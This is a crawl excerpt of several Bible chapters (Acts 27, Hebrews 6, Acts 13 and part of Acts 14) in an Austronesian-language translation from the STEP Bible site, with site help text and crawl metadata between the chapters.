kaxat at leven gaaling at lamanman. Kuren la ne Pol ga vaase aronga di. Ni ga lok keretna, 10 \"Nemi limixin, a ven i do lavatpas atdik mede la uto, naba lok kapmek tinotno; langsangan lumumuat naba vot saparap lempanga atdik la ti lavattaaxup bok, la ti lorooro bok atdik.\" 11 Ketla laasesep ga mumu asu levelinga at laradi gang tanga lisitia ap mo lavattaaxup la at laradi gam gomgo ap mo lavattaaxup, la kopmen ni goxo nuunu at levelinga at ne Pol. 12 Mo losoolom kopmen goxo lox avukat tinama xusu mana nemen teren ap mo leven gaaling at lamanman; kuren la buaang atnedi diga lok do dina sen kaxat mi lavattaaxup la dina sen epopolo uto Pinisia mo do dina epovo. Ni lara losoolom to Krit ga nemen alipe at lamanman la diba nemen go at leven gaaling at lamanman.\nLangsangan Lamanman Ga Rupot To At Laras13 Lamanman kakalik borou ga mas kaxat, la limixin diga lok do naba lox avukat mun mo lavatpas atnedi; kuren la diga rep aurut laaga la diga sen auret tinotno ro loxon at losoxan Krit. 14 Ketla soso mun mo lamanman lolos ga mas kaxat boro at losoxan. Limixin diga so asen mo lamanman mi lamanman silok borois mero xopok. 15 Ga mas lolos mo lavattaaxup la lavattaaxup goxo epovo xusu na sixit tangarang mo lamanman. Maga molo ri lok tong pen i la maga ke xepe i la lamanman gat mas aonon lavattaaxup atnama. 16 Maga sesen alipe ro melemu ap mo losoxan kakalik, laasen teren Koda; ga lolos aleng kusu mana lok li avukat lesepang kakalik mo maga sasar i go melemu at lavattaaxup. 17 Maga xip aurur i la maga dos alis lavattaaxup mi lempatkua. Diga marat aleng mila lavanga dina sixit mavana at laxangkaneng at lenep Libia la lavattaaxup na reporok; kuren la diga lox asi laaga ap mo lavattaaxup la maga ke lavattaaxup, lamanman gat mas aonon gamasa i. 18 Mo langsangan lamanman ga lolos aleng tinotno; kuren la ap mo lara laaleng melemu diga lok kaxar i xusu dina lu asi mi lempanga go vana ap mo lavattaaxup ukopok ti laras. 19 La ap mo manga lara laaleng melemu diga lu asi mi lempanga gugu ap mo lavattaaxup. 20 Buaang laxanaleng ma goxo ven laxangking mi laxampenti, la lamanman mo gat mas lolos aleng, maga nua i do nema axap ma noxo roo suu.\n21 La buaang laxanaleng mo limixin di goxo anan la ne Pol ga ru ro melamgo atdi la ga lok, \"Nemi loxongkulao, nemi mi goxo mumu asu levelinga rak la taga sen kaxat boro Krit; do mi gita ronga res tarak, dik gixo ekip tangarang mi na lumumuat. 22 Ketla na a sing nimi do mina lolos! Kopmen teta atnimi naba met. Ketla lavattaaxup kusuk mun naba lok kapmek. 23 Nia aklen i na mila at laxanimin laangelo boro at ne Moroa no nenia ateren la a lotu saparav i, i vot pasa ia. 24 La i lok tia xeretna, 'Pol! Nemen uta marat gat. Uba tu ro melamgo at ne Kaisar; la ne Moroa i balamu nimi la i siam pam do nedi axap at lavattaaxup dinaba roo suu.' 25 Kuren la nemi limixin mina lolos mila nia a nuunu at ne Moroa do ni naba lox epovo lempanga xerekngan ni i tong pam i ria. 26 Ketla lamanman ba rev aoso lavattaaxup uto loxon at lara losoxan.\"\n27 At laxanimin at laaleng sev asangaun mi lavanuet at lamanman gap kiv aonon nema ro at laras Adaria. At laxanimin tubu luvuttadi loklok tatao ap mo lavattaaxup diga nua i do nema mo maga sesen auret ta uto loxon. 28 Kuren la diga lu asi mi luxua, losoxovo ga nemen teren la maga long lenger i do mo laras ga epovo at legesa sangaun kobot mi legepu sangaun (120) lababaalom teren ukopok; melemu xakalik diga soxovo manga i la diga long lenger i do ga vasik sangaun lababaalom teren ukopok. 29 Diga marat aleng mila lavattaaxup naba ebaa ro at laxanuat; kuren la diga lox asu lavanuet lemparaga ro melemu at lavattaaxup la maga sing kusu laxangking na losu.\n30 Luvuttadi loklok tatao ap mo lavattaaxup diga lok do dina sixiro basinge lavattaaxup; diga lox asi lesepang kakalik uto xopok at laras la diga lok poovo i do dina lok li laxanaga ro melamgo ap mo lavattaaxup. 31 Ketla ne Pol ga lok ti laasesep eburu mi limixin esep keretna, \"Mo do na luvuttadi loklok tatao di noxo nemen de vana at lavattaaxup, nemi xopmen mi noxo roo suu.\" 32 Kuren la limixin esep diga ra korop luxua no gang tanga mo lesepang lixilik la ni ga sen su basinge di la uto nga.\n33 Laxangking mo ga lok do na losu nga, la ne Pol ga sing nedi axap kusu dina an tempanga anan. \"Migak lok bukbulu la miga nemen gamasa at lasangaun mi lavanuet aleng ta, la at na axap levenaleng mi goxo anan tempanga anan. 34 A sing nimi, do monga mina an tempanga anan; mik pakes tin kusu kopmen tara atnimi noxo met la kopmen tara atnimi noxo seeve.\" 35 Melemu at na lavapaase ren, Pol ga lok ka lengkongkide, la ga tong avukat ti ne Moroa ro melamgo atnedi axap, la ga sebex i la ni ga an kaxat. 36 Diga lok ka lolos at levelinga at ne Pol, la nedi getgesara bok diga an bok lempanga anan. 37 Leexes atnama ga epovo at legepu sangaun kobot mi lavanuti sangaun mi lavanna (276) mo maga nemen go vana at lavattaaxup. 38 Melemu atnedi diga an mais, diga lu asu mi laxampiao uto xopok ti laras kusu lavattaaxup naba balalak.\n39 Laxangking ga losu la luvuttadi loklok tatao ap mo lavattaaxup di goxo ven kibis mo losoxan. Ketla diga ven lara losoolom mi laxangkaneng teren la diga doxoma i do, mo i epovo, diba sen oso mi lavattaaxup atdi uto at laxangkaneng.\n40 Kuren la diga ra korop asu lemparaga la diga ke nedi diga dong si ukopok at laras; la ap mo mene loxonaleng diga soxomus lara kua no diga xoxo alis mo lisitia min. Diga lox aurut labantamon to melamgo at lavattaaxup kusu lamanman naba mas aonon lavattaaxup, la na sen epopolo uto loxon. 41 Ketla lavattaaxup ga so ru ro mavana at laxangkaneng, la ga xis tino nga, no melamgo at lavattaaxup ga ebaa la goxo epovo ri sen bilong uto melemu la lara paxanao ga saava vovorok axakalik mo lavattaaxup.\n42 Limixin esep diga lok lodoxoma xusu ri sev amet luvuttadi xokoxo, kusu di noxo box oso uto loxon la dina sixiro. 43 Ketla laasesep ga vara i xusu na lox arooro ne Pol, kuren la ni ga vaase vepe di do nemen di guta lox i mo. Ni ga tong i rinedi digakleklen ti xobok kusu dina los su boro at lavattaaxup la ukopok la dina bok oso uto loxon. 44 La nedi di goxo epovo ri xobok, diba mumu mi lengkonuna ga tepovorok ap mo lavattaaxup. La kerepmo nema axap maga rupot avukat to loxon.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Act.27","date":"2018-10-17T13:50:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511175.9\/warc\/CC-MAIN-20181017132258-20181017153758-00068.warc.gz","language":"mmx","language_score":0.9999957085,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999957084655762}","num_words":1638,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 61 Kuren la nemen mitam tebeng mun mo levenanasa miga lok ka avor i, i lox avukat kusu mina lolos ti lok kaka levenanasa at ne Karisito kusu miba ravasu ngan limixin mukun. Mina ke be mo levenanasa avot, i lok keretna, laanasa mumu loklok ti leeng basinge laxakapmek kusu mo laxakapmek noxo lox asuusu lanmet; laanasa mumu lunuunu ri ne Moroa; 2 laanasa ri lesep susu; laanasa ri loklok ti sa li levengkikngen mavana at teventaba rik lox anarong di; laanasa ri laxakatu kaxat basinge lanmet; la laanasa ri lugugu at ne Moroa ngan laradi rongtonga linga at laaleng ete. 3 Do ne Moroa na mulus, mina ke be na levenanasa la mina lok kaka be mo levenanasa mumu.\n4 Nedi limixin diga ronga Lagale Lavavang la diga nuunu ren la digara suma vam lomomo at lorooro avolo la digara lok ka vam Loroonan Kaala, la digaraklen pam lorooro nunuan ne Moroa ga vaase alii min ti limixin, la digara ven pam ne Moroa ga lok levempanga sangsangu; do mo limixin dina raba arulu ne Moroa, ixo epovo xusu dina leeng basinge mo laxakapmek mila ap mo mun loklok i lok ngan ta do nedi xa dira vaxarem amu manga ne Nitna ne Moroa ro at laxaba, la kerepmo dira lok li manga i at lainmangan to at lemeren limixin.\n7 Lavapaase poovo mumu i na loklok i lok keretna. Laxantaamang do larakabu it pot amisik teren la i lox asuusu levempipisik nunuan naba lok tooro nedi di gugu i, la mo laxantaamang naba ruuna ka loklox anarong at ne Moroa. 8 Ketla do livin gagas mi laxampivilis kapmek kusuk mun na su ap mo laxantaamang, mo laxantaamang i lok kapmek axap, la i nemen maxopok at lebelemamao at ne Moroa, la kopmen bok ba tara noxotlo tevempanga go.\n9 Larapen tangas tarak. Ma paase lolos tinimi xetla nemen mita doma solo i nom, mila ma nuunu ruturun do leveloklok i nunuan naba ravasu atnimi, mo levempanga naba lox asuusu i do mira lok ka vam loklox arooro. 10 Moroa neni laradi mokmokso la neni noxo domampe leveloklok nunuan nemi miga lox i, la mo labalamu nemi miga lox asuusu i at laasen teren ap mo levenaleng miga lok tooro limixin teren la move mik lok tooro di. 11 Nema ma vara i do nemi getgesara mina lox asuusu leveloklok kerepmo se at laxavaxap at lorooro atnimi, la kerepmo miba ruuna ka ruturun mo leveloklox anarong mim doma ngangais tin. 12 Ma xopara i do mina molo at lunuunu atnimi xetla mina mu asu loklok atnedi lavalabat atnimi diga tu lolos amisik at lunuunu atdi la digat kis tangais mo leveloklox anarong ne Moroa ga paase alii min tidi.\nLavapaase Alii At Ne Moroa Naba Sorun13 Ap mo laaleng ne Moroa ga lok lavapaase alii ren ti ne Abaram, neni ga vara i do na lox amumuat levelinga ren, ketla goxopmen tara ga silok tin kusu neni naba vangpe min; kuren la neni ga vangpe xa mi laasen teren. 14 Mo lavapaase alii ren ga lok keretna, \"At laasen tarak nia anaba lox anarong u, la livipisik li ram dinaba umsu aleng.\" 15 La ne Abaram gat kis atnaasan mun la ga ngangais ne Moroa, se ni ga lox asorun mo lavapaase alii rin.\n16 Do tara i vara na vangpe, neni na vangpe mi laasen at laradi i silok tin; la mo lavangpangpe naba lox amuat levelinga ren. Lavangpangpe i epovo ri lox axap leven ekarakat. 17 La ne Moroa ga vara i do limixin teren dibaklen tuturun i do neni naba lox epovo levelinga ren tinedi la diba ruuna ka leveloklox anarong neni ga vaase alii min tidi; kuren la neni ga lox amuar i mi lavangpangpe. 18 Legepu vanga mo ik lok kusu na lox amuat levelinga ren, i lok keretna; lavapaase alii ren la lavangpangpe ren, la ixo epovo do ne Moroa na xarang limixin. Kuren la ne Moroa ga lox i na xusu na lox alolos lunuunu atnedi diga on basinge laxakapmek kusu dina rebeng kaka mo levempanga nunuan ne Moroa ga vaase alii min. 19 Nedik takleklen i do ne Moroa naba lox asorun levempapaase alii ren, kuren la lebelen dik it kis aulis ngan lesepang it kis aulis do di sepkaa alis i ro xopok at lavaruat. La kerepmo bok i epovo do nedik tana xis esogo mi ne Moroa no vana at laxalibet; i lok ngan gano lamaasa ga vubeles at loxot i xaala aleng, mo loxot gak lok to melemu at lavatbantamon silok to xeneng at loogu laplavang. 20 La kerepmo bok ne Iesu gamgo ridik uto vana xusu na lok lugugu ngan Lamaasa Avolo kerekngan ne Melkisedek, la lugugu at Lamaasa Avolo noxo xap.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Heb.6","date":"2018-10-16T14:12:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510754.1\/warc\/CC-MAIN-20181016134654-20181016160154-00250.warc.gz","language":"mmx","language_score":0.9999847412,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999847412109375}","num_words":932,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 13\nDiga Sok Katling Ne Banabas Mi Ne Sol1 At loogu lotu go Antiok lentaba lavaeme vapaase alii la lentaba luvuttadi loklox ase mo gak lok; Banabas, Simion (diga tong box i do laradi bibi), Lusias (boro Sairini), Manaen (mo nedu mi laradi gomgo ne Erodes duga etangas eburu), la ne Sol. 2 At lara laaleng nedi diga lotu saparap Leeme Silok la diga mun anan, Loroonan Kaala ga lok tinedi, \"Mina raba ia mi ne Banabas la ne Sol, kusu ri lok lugugu i ngan nia aga soxolik ka vam du rin.\" 3 La diga mun anan la diga ngising, la diga lok li levengkikngen di mavana atdu; la diga riki aonon ba du.\nBanabas Mi Ne Sol To Saipras4 Loroonan Kaala ga riki ne Banabas mi ne Sol, la dugat pas uto Selusia la mo go duga los urut at lavattaaxup la duga mumu i uto at losoxan Saipras. 5 Duga rupot go Salamis, la duga tong asu levelinga at ne Moroa go at laraugu singising at limixin me Judaia. Jon Mak gak lox eburu minedu kusu ri lok tooro du at lugugu.\n6 Diga vas kaxat basinge mo lemenemen la digat pas tangtagap ap mo losoxan axap, se diga rupot to Papos. Mo go diga ekip tangarang mi lara laradi laasen teren ne Ba-Iesu, ni laradi me Judaia la gakleklen lasak; ni ga xarang limixin do neni leeme vapaase alii at ne Moroa. 7 Neni ga gugu ri laradi gomgo ap mo losoxan laasen teren ne Segias Paulus, ni laradi ga umsu mi lakleklen. Laradi gomgo ga ro xaka ne Banabas mi ne Sol uto saparav i, mila neni ga vara i do na ronga levelinga at ne Moroa. 8 Ketla ne Ba-Iesu ga lolos kusu na ru pe levelinga atdu; laasen bok ap mo laradi sak ne Elimas (na laasen at lavapaase Grik). Ni ga lok tong pen i do na ru pe laradi gomgo xusu noxo nuunu at ne Iesu.\n9 La ne Sol, laasen bok teren ne Pol, ga umsu mi Loroonan Kaala, ni ga saga xatli ap mo laradi sak, 10 la ga lok tin, \"Nu lamdak at ne Satan! Nenu u xopara ri leveloklox axap i lox avukat; buaang lempanga xaxarang la laxakapmek i umsu at lorooro ram. Nenu uk lox amisik do una baba gili levenanasa ruturun at Leeme Silok ne Moroa ri laxaxarang! 11 Monga lololos at Leeme Silok ne Moroa na rupot saparap u; luxatli ram na main. La nenu u noxo ven laxasep at laaleng kangking at lentaba levenaleng.\"\nAp mo mun loxonaleng Elimas ga suma lamain ga lok pe luxatli ren, la ni gat pas tangtagap, gak lok tong pen i do na vuse ka tara xusu na ranga tu at lekngen la nam lam i.\n12 Laradi gomgo ga ven mo lavanga la ga nuunu; ni ga sangu ap mo levenanasa ni ga ronga i mumu Leeme Silok.\nBanabas Mi Ne Pol Duga Rupot To Antiok13 Pol eburu mi larapen tangas teren diga mu lavattaaxup boro Papos la diga rupot to Pega at lenep silok Pampilia. Ketla ne Jon Mak ga on basinge du go, la gamlong uto Jerusalem. 14 Duga vas kaxat boro Pega la duga rupot to Antiok at lenep silok Pisidia; la at laaleng kaala duga beles uto at loogu singising la duga xis kopok. 15 Melemu at leexes at Lenavolo at ne Moses la levelinga at lavaeme vapaase alii, luvuttadi amgomgo at loogu singising diga lok tidu, \"Lunetak, ma vara i do muna vaase ri limixin do nemu mu ruuna tevelinga loklox alolos tinedi.\"\n16 Pol ga xatu kaxat upana, la ga sep makmak di, la ga lok keretna, \"Luvuttadi me Israel la nemi bok kopmen me Judaia mi lotu saparap ne Moroa. Mina ronga ia. 17 Moroa at lubungmixin me Israel ga soxolik ka lavalabat atdik, la ga lox asilok lubungmixin atdik at levenmaares nedi diga nemen ngan limixin kadiong to at lenep silok Isip. Moroa ga lox asu di mi lolos silok teren basinge mo lenep silok. 18 La ga at lavanuet sangaun maares ni gak lok tatao di ro at lamatbin. 19 La ni ga nemen eburu minedi la diga sak tup mi lavanuti larabung mixin go ap mo lenep silok Kanan, la ni ga raba di mi mo lenep silok ngan laramtaba atdi. 20 Mo lempanga ga ravasu at levenmaares ga epovo at lavanuet sangaun kobot mi lavalimo sangaun (450).\nMelemu at na, ni ga lok katling li luvuttadi ngan luvuttadi rongtonga linga kusu dinabam gomgo ridi, se at lovotpot at leeme vapaase alii ne Samuel. 21 La melemu diga sing ti toorong silok la ne Moroa ga lok taba di mi ne Sol, lamdak at ne Kis, at libibinat at ne Beniamin, kusu neni loorong silok tinedi at lavanuet sangaun maares. 22 Melemu at loklok pes teren, Moroa ga soxolik ka ne Devit kusu nam gomgo ridi. Ana levelinga at ne Moroa ga paase mumu na ne Devit min,\n'Nia ara ven i do ne Devit nitna ne Jesi, neni laradi ik lox amomo ia; neni laradi naba lok lempanga axap do nia ana vara i do ni na lox i.' a\n23 Keneng at lurubuno avolo mun at ne Devit, Moroa ga riki ne Iesu saparap leme Israel ngan Laradi Loklox Arooro ridi la kerepmo ne Moroa ga lox epovo laxakaape ren. 24 Avot ti lovotpot at ne Iesu, Jon ga vavang ti limixin solo xusu dina leeng basinge laxakapmek atnedi la dina lok ka lesep susu. 25 La ga auret do ne Jon na lox axap mo lugugu ren, la ni ga lok ti limixin keretna, 'Nemi mi doma i do nia nege? Nia xopmen mo laradi mi nemen tangais i. Ketla neni mo naba vot melemu rak, i silok aleng la axo epovo xusu ana soxomus asu luvanga vatpas at luxangkedek teren.'\n26 Luvutnetak mi luvurinuk. Ana tong na levelinga rinemi. Moroa ga riki ne Iesu ri livipisik li at ne Abaram, la tinemi bok kopmen me Judaia mi nemen de mo mi lotu saparap ne Moroa. Ni ga raba nedik mi na Lagale Lavavang ti lorooro avolo! 27 Mo limixin diga nemen to Jerusalem, la luvuttadi amgomgo atdi, di goxo ven kibis ne Iesu, la di goxo xasep at levelinga ro xeneng at levenbuk at lavaeme vapaase alii no diga vutus i at levenaleng kaala. Ketla diga lox asorun levelinga at lavaeme vapaase alii, mila diga sok tixirixes ne Iesu. 28 La nedi xopmen di goxo vuse ka tavasuun kusu dina sev amet ne Iesu, diga sing mun ne Paelat kusu na sev amer i. 29 La melemu at lempanga axap diga lox i rin, kerekngan Lovoang Kaala i tong i, diga lox asi i ukopok basinge laxaba, la diga li i ro at lamaaut. 30 Ketla ne Moroa ga lox aroo kaxat amlong i basinge lanmet, 31 la buaang levenaleng neni ga ru asuvos tinedi digat pas eburu min boro Galili la uto Jerusalem. La nedi nom di tong asu levelinga ren ti limixin me Israel.\n32 La nema na, ma tong na levelinga rinimi do ne Moroa ga lox epovo vam laxakaape ren ti lavalabat atdik. 33 La mo laxakaape ira sorun pam tinedik luvuttubuno avolo atnedi limixin me Israel keretna; Moroa ga lox aroo amlong ne Iesu basinge lanmet. I lok ngan mo levelinga ik lok at levempikpixan sepsev agepura at ne Devit. Moroa ga lok keretna,\n'Nenu ne Nuruk la Lanarong, lingina a lox u, i ngan Loorong Silok.' b\n34 La ne Moroa ga paase mumu laxakatu kaxat amlong at ne Iesu basinge lanmet, la kopmen bok ba noxo met. Ni ga lok keretna,\n'Nia aba raba ruturun u mi leveloklox anarong tarak kerekngan nia aga xaape min ti ne Devit.' c\n35 La kerepmo bok levelinga at ne Devit saparap ne Moroa i lok keretna;\n'Nu noxo ke xepe Leeme Dadat taram kusu napso at lamaaut!' d\n36 Devit gam tebeng lugugu at ne Moroa ap mo levenaleng teren, la melemu ni ga met, la digak mir i saparap lavalabat teren, la ni gap sopso. 37 Ketla nom laradi ne Moroa ga lox aroo amlong i basinge lanmet, ni goxopso. 38 Luvutnetak mi luvurinuk. Nemi axap, minaklen avukar i do, keneng mun at ne Iesu, langas i rem suang kusu ne Moroa naba doxoma xepe laxakapmek at limixin. Monga ma tong asu na levelinga rinimi. 39 Minaklen box i do nedi axap di nuunu ren, Moroa ira lox asepmus pam di basinge leveloklok kakapmek atdi; Lenavolo at ne Moses kopmen na epovo na lox i xuren. 40 Mina lok tatao avukat nimi, mumu levelinga at lavaeme vapaase alii, i lok keretna;\n41 'Nemi limixin mik lok kalise levelinga at ne Moroa, mina ronga i na; miba sangu la mina met! Nia anaba lok lara lugugu at levenaleng atnimi, ketla nemi xopmen mi noxo nuunu ren; la do tara na soxomus box i rinimi, move mi noxo nuunu ren.\" e\n42 La ne Pol mi ne Banabas duga vas su basinge loogu singising, la limixin diga sing bok du do dubamlong ap mo lara laaleng kaala melemu, la duna vaase bok mo levelinga rinedi. 43 Melemu at limixin diga on basinge loogu singising, buaang atnedi limixin me Judaia la nedi bok kopmen di me Judaia, mo diga lok ka vam lotu at limixin me Judaia, diga mumu asu ne Pol mi ne Banabas; duga paase ridi la duga lox alolos di xusu dina nemen keneng at letaba nabalamu at ne Moroa.\n44 Ap mo laaleng kaala melemu nedi axap ap mo lemenemen digat pas kusu dina ronga levelinga at ne Moroa. 45 Ketla lentaba limixin me Judaia diga ven i, la diga umsu mi levereven peves; diga paase tangarang mo levelinga ne Pol ga tong i, la diga paase xapmek tin.\n46 Ketla ne Pol mi ne Banabas duga paase lolos aleng la kopmen du goxo marat. Duga lok keretna, \"Ik mokso at lemeren ne Moroa do mana tong avot be levelinga at ne Moroa rinemi limixin me Judaia. Ketla nemi mi xopara rin, la kerepmo xopmen mina epovo ri ruuna ka lorooro avolo; mana ke xepe nimi la mana tong asu levelinga at ne Moroa ri limixin kopmen di me Judaia. 47 I lok ngan levelinga at ne Moroa ga raba dik min. I lok keretna;\n'La nia ara soxolik ka vam nimi, kusu nemi miba lok ngan laxasep la miba tong asu levelinga rak tinedi limixin kopmen di me Judaia, la miba lok ngan langas ti lorooro ri limixin to at lengkot axap at na lavatbung menemen.\" f\n48 Mo limixin kopmen di me Judaia diga ronga i na la diga lok momo aleng, la diga emi asu mi Leeme Silok ne Moroa, mumu levelinga ren; la nedi ne Moroa ga soxolik ka vam di ri lorooro avolo, diga nuunu at ne Iesu.\n49 Levelinga at ne Moroa ga epeseves at lengkot axap ap mo lenep silok. 50 Ketla limixin me Judaia diga lox axatu kaxat lodoxoma at luvuttadi amgomgo ap mo lemenemen silok la diga lox axatu lodoxoma at lavakin diga ruuna levenasen silok la diga lotu saparap ne Moroa. Diga vaxaru kaxat leedak ti ne Pol mi ne Banabas, la diga lok kepe du basinge lenep silok atdi. 51 La luradi vavang duga lok kepe laxakup basinge lengkangkedek atdu saparap nedi xusu duna lox asu lumukmusak at ne Moroa ridi; la dugat pas uto Aikoniam. 52 Luvuttadi nuunu mego Antiok diga umsu mi Loroonan Kaala la lomomo bok.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Act.13","date":"2018-10-19T04:19:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512323.79\/warc\/CC-MAIN-20181019041222-20181019062722-00033.warc.gz","language":"mmx","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000056028366089}","num_words":2017,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 14\nPol Mi Ne Banabas Duga Vavang To Aikoniam1 Pol mi ne Banabas duga lok mun lugugu ro Aikoniam kerekngan diga lox i ro Antiok. Duga beles to at loogu singising at limixin me Judaia la duga vavang avukat tinotno; kuren la buaang nedi limixin me Judaia eburu mi limixin bok kopmen di me Judaia diga nuunu. 2 Ketla lentaba limixin me Judaia no di goxo nuunu, diga lox axatu lodoxoma at lentaba limixin kopmen di me Judaia la diga vaase pe lusumsuma atnedi basinge luradi nuunu. 3 Pol mi ne Banabas duga nemen go at lentaba leven gaaling. Du goxo marat la duga paase lolos atla Leeme Silok ga lok tooro levelinga atdu mumu letaba nabalamu mila ni ga lok lempanga sangsangu at levengkikngen du. 4 Nedi mo limixin ap mo lemenemen diga epes nedi, lentaba ri leme Judaia la lentaba ri luradi vavang.\n5 Melemu mo limixin kopmen di me Judaia la limixin me Judaia eburu mi luvuttadi amgomgo atdi, diga vaxaru kaxat kaka i xusu dina lok kapmek luradi vavang la dina lu amet du mi laxanuat. 6 Ketla luradi vavang duga ronga i na la duga sixiro uto at lenep Likonia. Mo go duga vavang mi Lagale Lavavang to at lumenemen Listra la Debi, la to at lengkot petpes bok ap mo lenep.\nPol Mi Ne Banabas Duga Vavang To Listra La Debi8 Lara laradi ga nemen to Listra, luxangkedek teren ga molo axap, ni ga molo kaxat at laaleng nenen ga visik asu xa i xuren; la ni goxo epovo do nat pas. 9 Gat kis go la gang tonga levelinga at ne Pol. Pol ga saga xatli ren la ga ven kibis i do mo laradi ga nuunu do ne Moroa ga epovo ri lox aroo i. 10 La ni ga vaase lolos tin keretna, \"Katu kaxat upana mi luxangkedek taram.\" La soso mun mo laradi ga xatu kaxat upana la gat pas tangtagap.\n11 Nedi mo limixin diga ven i, la di ga vaxaru kaka i do dina xup at lavapaase Likonia xeretna, \"Na legepu radi du lok ngan ta levenmoroa, duga si ude xopok saparap nedik!\" 12 Diga raba ne Banabas mi lara laasen Sius, la ne Pol laasen Eemes, mila neni laradi vapaase. 13 Lamaasa at lomoroa Sius, loogu laplavang teren ga nemen go maxamang ap mo lemenemen, ni ga lok ka leven bulumaxao eburu mi levesisinang uto at lumusaragu ap mo lemenemen. Ni eburu mi nom limixin diga vara i do dinaplavang mi teventamtaba saparap luradi vavang.\n14 Ketla Banabas mi ne Pol duga ronga i nom, la duga lolos kusu duna lok pe di. Kuren la duga ba koxorop lempanga singsiga atdu la duga sixit uto xantubu at limixin la duga xup keretna, 15 \"Nemi limixin, tila mi lox i na? Nema mun luradi, luradi xerekngan nimi! Nema na ma nemen de xusu mana tong asu Lagale Lavavang la mina ba gili lorooro atnimi basinge lempanga gamasa xerepmo. La mina mumu asu ne Moroa mo i rooro, ga rudum li laxalibet, laxangka, laras la lempanga axap mo di nemen maxeneng atdi. 16 Ganoxa ni ga mulus do limixin axap dina mumu xa lavavara atdi. 17 Ketla neni i lox asuvos amisix i ap mo lempanga ni ga rudum li i; la im taba nimi mi larakabu boro vana at laxalibet, la ga lok katling levenaleng tik lok li bubua leveluxa at levenaleng axa ren. Ni im taba nemi mi leveluxa solo la ik suxa umsu lorooro atnimi mi lomomo.\" 18 Limixin diga lok do naplavang saparap du, la ga lolos aleng kusu luradi vavang duna lok pe di mi na levelinga.\n19 Lentaba limixin me Judaia diga la boro Antiok at lenep Pisidia la boro bok Aikoniam. La diga lox axatu kaxat lodoxoma at limixin me go Listra la diga lu ne Pol mi laxanuat, la diga sar asu i basinge mo lemenemen; diga nua i do ni mo ga met. 20 Ketla luvuttadi nuunu diga ru kangkan i, la ni ga xatu kaxat, la gamlong bok uto ap mo lemenemen. Ap mo laaleng melemu nedu mi ne Banabas dugat pas uto Debi.\nPol Mi Ne Banabas Dugamlong Uto Antiok21 Pol mi ne Banabas duga tong asu Lagale Lavavang to Debi, la duga lok ka buaang luvuttadi diga lok ka lunuunu maxat. Dugamlong bok uto Listra, la uto bok Aikoniam, la melemu dugat pas uto Antiok at lenep Pisidia. 22 Duga lox alolos lunuunu at luvuttadi nuunu, la duga vaase alolos di xusu dina tu tuxuruxun at lunuunu atnedi. Duga lok, \"Nedik ataba ekip tangarang mi laxanmumuat solo, la kerepmo ataba beles at Linintoo at ne Moroa.\" 23 At 